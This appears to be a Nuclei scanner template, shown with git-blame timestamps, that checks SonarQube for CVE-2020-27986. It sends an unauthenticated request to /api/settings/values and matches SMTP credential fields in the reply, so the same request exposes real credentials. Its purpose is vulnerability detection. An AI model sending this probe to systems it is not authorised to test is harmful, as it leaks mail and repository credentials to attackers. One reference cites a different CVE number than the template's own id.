2021-01-30 09:51:50 +00:00
|
|
|
id: CVE-2020-27986
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: SonarQube - Authentication Bypass
|
2021-01-30 09:51:50 +00:00
|
|
|
author: pikpikcu
|
2021-09-10 11:26:40 +00:00
|
|
|
severity: high
|
2021-01-30 09:51:50 +00:00
|
|
|
description: |
|
2021-08-19 14:44:46 +00:00
|
|
|
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
|
|
|
|
SVN, and GitLab credentials via the api/settings/values URI.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-27866
|
2023-04-12 10:55:48 +00:00
|
|
|
remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2020-27986
|
|
|
|
cwe-id: CWE-306,CWE-312
|
2023-04-12 10:55:48 +00:00
|
|
|
cpe: cpe:2.3:a:sonarsource:sonarqube:*:*:*:*:*:*:*:*
|
|
|
|
epss-score: 0.23185
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2020,sonarqube
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2021-01-30 09:51:50 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-01-30 09:51:50 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/api/settings/values"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-01-30 13:52:02 +00:00
|
|
|
- email.smtp_host.secured
|
|
|
|
- email.smtp_password.secured
|
|
|
|
- email.smtp_port.secured
|
|
|
|
- email.smtp_username.secured
|
2021-01-30 09:51:50 +00:00
|
|
|
part: body
|
2021-03-10 14:03:49 +00:00
|
|
|
condition: and
|
2021-01-30 09:51:50 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|